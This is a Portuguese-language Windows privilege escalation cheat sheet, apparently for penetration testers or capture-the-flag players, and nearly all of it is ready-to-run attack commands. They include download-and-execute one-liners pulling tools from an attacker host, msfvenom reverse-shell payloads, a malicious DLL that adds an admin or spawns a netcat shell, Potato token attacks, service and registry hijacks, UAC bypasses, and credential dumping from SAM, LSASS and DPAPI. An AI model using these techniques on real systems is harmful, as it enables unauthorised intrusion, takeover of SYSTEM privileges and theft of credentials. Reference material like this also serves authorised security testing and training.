Referência de Windows privesc. A metodologia é diferente do Linux — serviços, tokens e misconfigurations são seu pão com manteiga. Rode a enumeração, ache o vetor, execute.
Enumeração Inicial
Info do Sistema
:: Info básica
whoami
whoami /priv
whoami /groups
hostname
systeminfo
:: SO e arquitetura
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
:: Hotfixes — patches faltando = exploits de kernel potenciais
wmic qfe list brief
systeminfo | findstr /B /C:"KB"
:: Rede
ipconfig /all
route print
netstat -ano
arp -a
# Equivalentes PowerShell
[System.Environment]::OSVersion
Get-HotFix
Get-NetTCPConnection | Where-Object {$_.State -eq 'Listen'}
Usuários e Grupos
net user
net user Administrator
net localgroup
net localgroup Administrators
Dica: whoami /priv é o sudo -l do Windows. Cheque imediatamente.
Antivírus / Firewall
:: Checar Windows Defender
sc query WinDefend
:: Firewall
netsh advfirewall show allprofiles
netsh firewall show state
:: Checar se AMSI tá ativo (PowerShell)
Get-MpComputerStatus
Get-MpPreference | Select-Object -Property ExclusionPath
Enumeração Automatizada
WinPEAS
:: Transferir e rodar
certutil -urlcache -f http://%ATTACKER%:8000/winPEASx64.exe winpeas.exe
.\winpeas.exe
:: Ou rodar da memória (PowerShell)
IEX(New-Object Net.WebClient).DownloadString('http://%ATTACKER%:8000/winPEAS.bat')
PowerUp
. .\PowerUp.ps1
Invoke-AllChecks
# Ou one-liner
IEX(New-Object Net.WebClient).DownloadString('http://$ATTACKER:8000/PowerUp.ps1'); Invoke-AllChecks
Seatbelt
.\Seatbelt.exe -group=all
SharpUp
.\SharpUp.exe audit
Misconfigurations de Serviço
É a maior categoria de Windows privesc. Três sabores principais.
Unquoted Service Paths
Se o path do serviço tem espaços e não tá entre aspas, o Windows tenta paths intermediários.
C:\Program Files\My Service\service.exe tenta:
C:\Program.exeC:\Program Files\My.exeC:\Program Files\My Service\service.exe
:: Encontrar unquoted service paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
:: PowerShell
Get-WmiObject win32_service | Where-Object {$_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | Select-Object Name, PathName, StartMode
:: Checar se você pode escrever num diretório intermediário
icacls "C:\Program Files\My Service"
:: Dropar seu payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER LPORT=9001 -f exe -o My.exe
copy My.exe "C:\Program Files\My.exe"
:: Reiniciar o serviço (precisa de permissão ou esperar reboot)
sc stop "ServiceName"
sc start "ServiceName"
Permissões Fracas de Serviço
Você pode modificar a configuração do serviço -> apontar pro seu binário.
:: Checar permissões de serviço com accesschk
accesschk64.exe /accepteula -uwcqv "Everyone" *
accesschk64.exe /accepteula -uwcqv "Users" *
accesschk64.exe /accepteula -uwcqv "Authenticated Users" *
accesschk64.exe /accepteula -uwcqv %USERNAME% *
:: Checar serviço específico
sc qc "ServiceName"
accesschk64.exe /accepteula -ucqv "ServiceName"
Se você tem SERVICE_CHANGE_CONFIG:
:: Trocar binpath pro seu payload
sc config "ServiceName" binpath= "C:\Users\Public\shell.exe"
sc stop "ServiceName"
sc start "ServiceName"
:: Ou se adicionar como admin
sc config "ServiceName" binpath= "net localgroup Administrators %USERNAME% /add"
sc stop "ServiceName"
sc start "ServiceName"
Permissões Fracas no Binário do Serviço
O binário do serviço em si é gravável.
:: Checar permissões no binário do serviço
icacls "C:\path\to\service.exe"
Procure por (F) Full control, (M) Modify, ou (W) Write pro seu usuário/grupo.
:: Substituir o binário
move "C:\path\to\service.exe" "C:\path\to\service.exe.bak"
copy C:\Users\Public\shell.exe "C:\path\to\service.exe"
sc stop "ServiceName"
sc start "ServiceName"
Permissões de Registry do Serviço
:: Checar permissões do registry pros serviços
Get-Acl HKLM:\SYSTEM\CurrentControlSet\Services\ServiceName | Format-List
:: Se gravável, trocar ImagePath
reg add HKLM\SYSTEM\CurrentControlSet\Services\ServiceName /v ImagePath /t REG_EXPAND_SZ /d "C:\Users\Public\shell.exe" /f
DLL Hijacking
Aplicação carrega uma DLL dum local gravável, ou a DLL não existe.
Encontrando Oportunidades de DLL Hijacking
:: Use Process Monitor (se tiver acesso GUI)
:: Filtro: Result = "NAME NOT FOUND" e Path termina com ".dll"
:: Ou checar diretórios do PATH por acesso de escrita
echo %PATH%
:: Checar cada diretório com icacls
icacls "C:\path\in\PATH"
Exploração
// malicious.c — gera reverse shell ou adiciona admin
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason, LPVOID lpReserved) {
if (ul_reason == DLL_PROCESS_ATTACH) {
system("net localgroup Administrators youruser /add");
// Ou: system("C:\\Users\\Public\\nc.exe -e cmd.exe ATTACKER 9001");
}
return TRUE;
}
# Cross-compile no Kali
x86_64-w64-mingw32-gcc malicious.c -shared -o malicious.dll
:: Colocar DLL no local esperado
copy malicious.dll "C:\path\to\expected\missing.dll"
:: Reiniciar o serviço ou esperar
Pegadinha: Ao hijackar uma DLL dum serviço, a DLL precisa exportar as funções que o serviço espera, senão o serviço crasha ao iniciar. Pra um simple hijack de DLL faltando isso geralmente não é problema.
Token Impersonation / Ataques Potato
Se whoami /priv mostra SeImpersonatePrivilege ou SeAssignPrimaryTokenPrivilege — você tá no negócio. Comum em IIS, MSSQL e service accounts.
Qual Potato Usar
| Ferramenta | Funciona Em | Notas |
|---|---|---|
| GodPotato | Windows 2012 - 2022, Win 8 - 11 | Melhor custo-benefício, tente primeiro |
| PrintSpoofer | Windows 10 / Server 2016-2019 | Precisa Print Spooler rodando |
| SweetPotato | Vários | Combina múltiplas técnicas |
| JuicyPotatoNG | Windows 10 / Server 2019 | JuicyPotato atualizado |
| RoguePotato | Windows 10 / Server 2019 | Precisa de porta 135 controlada |
| JuicyPotato | Windows 7-10 / Server 2008-2016 | Clássico, não funciona em 2019+ |
:: GodPotato (tente esse primeiro)
.\GodPotato.exe -cmd "C:\Users\Public\nc.exe -e cmd.exe $ATTACKER 9001"
.\GodPotato.exe -cmd "net localgroup Administrators $USERNAME /add"
:: PrintSpoofer
.\PrintSpoofer64.exe -c "C:\Users\Public\nc.exe -e cmd.exe $ATTACKER 9001"
.\PrintSpoofer64.exe -i -c cmd
:: SweetPotato
.\SweetPotato.exe -e EfsRpc -p C:\Users\Public\nc.exe -a "-e cmd.exe $ATTACKER 9001"
:: JuicyPotato (sistemas mais antigos)
.\JuicyPotato.exe -l 1337 -p C:\Users\Public\shell.exe -t * -c {CLSID}
Dica: GodPotato é o go-to atual. Funciona em versões recentes do Windows e não precisa de CLSID específico.
AlwaysInstallElevated
Se ambas as registry keys tiverem valor 1, qualquer usuário pode instalar pacotes MSI como SYSTEM.
:: Checar
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Checagem PowerShell
Get-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated
Get-ItemProperty -Path 'HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated
Exploração
# Gerar MSI malicioso no atacante
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER LPORT=9001 -f msi -o shell.msi
:: Instalar no alvo
msiexec /quiet /qn /i C:\Users\Public\shell.msi
Caça de Credenciais
Registry
:: Credenciais salvas
cmdkey /list
:: Se existem creds salvas pro admin
runas /savecred /user:Administrator cmd.exe
:: Credenciais de autologon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
:: Senhas VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"
:: Sessões salvas do PuTTY
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
:: Community strings SNMP
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities"
:: Buscar senhas no registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
Arquivos
:: Arquivos comuns com senhas
dir /s /b C:\Users\*.txt 2>nul | findstr /i "pass"
dir /s /b C:\Users\*.xml 2>nul
dir /s /b C:\Users\*.ini 2>nul
dir /s /b C:\Users\*.config 2>nul
:: Arquivos unattend / sysprep (frequentemente contêm senhas)
dir /s /b C:\unattend.xml C:\sysprep.xml C:\sysprep.inf C:\Unattended.xml 2>nul
type C:\Windows\Panther\Unattend.xml 2>nul
type C:\Windows\Panther\unattend\Unattend.xml 2>nul
type C:\Windows\system32\sysprep\sysprep.xml 2>nul
:: Config IIS
type C:\inetpub\wwwroot\web.config 2>nul
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config 2>nul
:: Histórico PowerShell
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# Histórico PowerShell de todos os usuários
Get-ChildItem C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt 2>$null | ForEach-Object { Write-Host "`n=== $($_.FullName) ==="; Get-Content $_ }
Backup de SAM e SYSTEM
:: Se você consegue acessar esses, dumpa hashes offline
reg save HKLM\SAM C:\Users\Public\sam.bak
reg save HKLM\SYSTEM C:\Users\Public\system.bak
:: Ou checar por cópias de backup
dir /s /b C:\Windows\repair\SAM 2>nul
dir /s /b C:\Windows\System32\config\RegBack\SAM 2>nul
# No atacante — extrair hashes
secretsdump.py -sam sam.bak -system system.bak LOCAL
DPAPI
:: Listar blobs de credenciais DPAPI
dir /a C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
:: Mimikatz pra descriptografar
dpapi::cred /in:C:\Users\user\AppData\...\credential_blob
Scheduled Tasks
:: Listar todas as scheduled tasks
schtasks /query /fo LIST /v
:: Procurar tasks rodando como SYSTEM com binários graváveis
schtasks /query /fo LIST /v | findstr /i "task to run\|run as user"
:: Checar permissões no binário da task
icacls "C:\path\to\task\binary.exe"
Get-ScheduledTask | Where-Object {$_.Principal.UserId -eq 'SYSTEM'} | ForEach-Object { $_.Actions }
Se o binário é gravável ou o path é hijackável, substitua e espere a execução.
Software Instalado
:: 32-bit
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s | findstr /i "displayname"
:: 64-bit
reg query "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" /s | findstr /i "displayname"
:: Ou só olhe
dir "C:\Program Files"
dir "C:\Program Files (x86)"
Compare versões com searchsploit e Google. Software desatualizado com vulns de local privesc é comum.
searchsploit "software name"
Kernel Exploits
systeminfo
wmic qfe list brief
# No atacante — usar Windows Exploit Suggester
python3 windows-exploit-suggester.py --database 2026-03-24-mssb.xls --systeminfo sysinfo.txt
# Ou wesng
python3 wes.py sysinfo.txt
Kernel / System Exploits Notáveis do Windows
| CVE | Nome | Afetado |
|---|---|---|
| MS16-032 | Secondary Logon | Windows 7-10, Server 2008-2012 |
| CVE-2020-0787 | BitsArbitraryFileMoveExploit | Windows 10 |
| CVE-2020-1472 | Zerologon | Domain Controllers |
| CVE-2021-1675 | PrintNightmare | Todo Windows com Print Spooler |
| CVE-2021-36934 | HiveNightmare/SeriousSAM | Windows 10 builds 1809-21H1 |
| CVE-2022-21999 | SpoolFool | Windows 10/11, Server 2019/2022 |
:: PrintNightmare (variante local privesc)
:: Checar se Print Spooler tá rodando
sc query spooler
:: HiveNightmare — checar se shadow copies do SAM são legíveis
icacls C:\Windows\System32\config\SAM
:: Se "BUILTIN\Users:(I)(RX)" -> vulnerável
:: Exploit:
.\HiveNightmare.exe
UAC Bypass
Quando você tá no grupo Administrators mas rodando medium integrity.
:: Checar integrity level
whoami /groups | findstr "Mandatory"
:: Se Medium Mandatory Level — UAC tá bloqueando você
# UAC bypass comum — fodhelper
New-Item "HKCU:\Software\Classes\ms-settings\shell\open\command" -Force
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "(Default)" -Value "cmd /c C:\Users\Public\shell.exe" -Force
New-ItemProperty "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
Start-Process "C:\Windows\System32\fodhelper.exe"
# Limpeza
Remove-Item "HKCU:\Software\Classes\ms-settings\shell\open\command" -Recurse -Force
:: eventvwr bypass
reg add HKCU\Software\Classes\mscfile\shell\open\command /d "cmd /c C:\Users\Public\shell.exe" /f
eventvwr.msc
Abuso de Privilégios Sensíveis
Do whoami /priv:
| Privilégio | Abuso |
|---|---|
| SeImpersonatePrivilege | Ataques Potato (veja acima) |
| SeAssignPrimaryTokenPrivilege | Ataques Potato |
| SeBackupPrivilege | Copiar qualquer arquivo (SAM, NTDS.dit) |
| SeRestorePrivilege | Escrever em qualquer arquivo -> DLL hijack |
| SeTakeOwnershipPrivilege | Tomar ownership de arquivos/registry keys |
| SeDebugPrivilege | Injetar/dumpar qualquer processo (LSASS) |
| SeLoadDriverPrivilege | Carregar driver de kernel -> execução de código kernel |
| SeManageVolumePrivilege | Ler qualquer arquivo via volume shadow copy |
SeBackupPrivilege
:: Copiar SAM e SYSTEM
reg save HKLM\SAM C:\temp\sam
reg save HKLM\SYSTEM C:\temp\system
:: Ou usar robocopy com semântica de backup
robocopy /b C:\Users\Administrator\Desktop C:\temp\ secret.txt
SeDebugPrivilege
:: Dumpar LSASS
.\procdump64.exe -accepteula -ma lsass.exe lsass.dmp
:: Ou usar Mimikatz
privilege::debug
sekurlsa::logonpasswords
SeManageVolumePrivilege
:: Criar shadow copy
vssadmin create shadow /for=C:
:: Copiar arquivos da shadow copy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\
Port Forwarding do Windows
Serviços internos que você não alcança da máquina atacante.
:: netsh (built-in, sem ferramentas necessárias)
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=8888 connectaddress=127.0.0.1 connectport=8080
:: Chisel
:: Atacante: chisel server --reverse --port 8001
.\chisel.exe client ATTACKER:8001 R:8080:127.0.0.1:8080
:: plink (PuTTY command-line)
plink.exe -ssh -l user -pw password -R 8080:127.0.0.1:8080 ATTACKER
Transferência de Arquivos pro Windows
:: certutil
certutil -urlcache -f http://%ATTACKER%:8000/file.exe file.exe
:: PowerShell
powershell -c "(New-Object Net.WebClient).DownloadFile('http://$ATTACKER:8000/file.exe','C:\Users\Public\file.exe')"
powershell -c "Invoke-WebRequest -Uri 'http://$ATTACKER:8000/file.exe' -OutFile 'C:\Users\Public\file.exe'"
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://$ATTACKER:8000/script.ps1')"
:: SMB (mais fácil pra arquivos grandes)
:: Atacante: impacket-smbserver share . -smb2support -username user -password pass
net use \\$ATTACKER\share /user:user pass
copy \\$ATTACKER\share\file.exe C:\Users\Public\
:: Bitsadmin
bitsadmin /transfer job /download /priority high http://$ATTACKER:8000/file.exe C:\Users\Public\file.exe
Pegadinha: certutil é flaggado pelo Defender agora. PowerShell Invoke-WebRequest (iwr) geralmente passa. Transferência SMB é a mais confiável pra arquivos grandes.
Checklist de Vitórias Rápidas
whoami /priv— SeImpersonate = potato = SYSTEM- Unquoted service paths com diretórios intermediários graváveis
- Permissões fracas de serviço — trocar binpath
- AlwaysInstallElevated — msi = SYSTEM
- Credenciais salvas —
cmdkey /list->runas /savecred - Senhas de autologon no registry
- Unattend.xml / arquivos sysprep — senhas em plaintext ou base64
- Histórico PowerShell — pessoas digitam senhas no PowerShell
- Scheduled tasks com binários graváveis
- Software instalado com CVEs de local privesc conhecidos
- PrintNightmare — se Print Spooler tá rodando
- Backups SAM/SYSTEM — HiveNightmare no Win10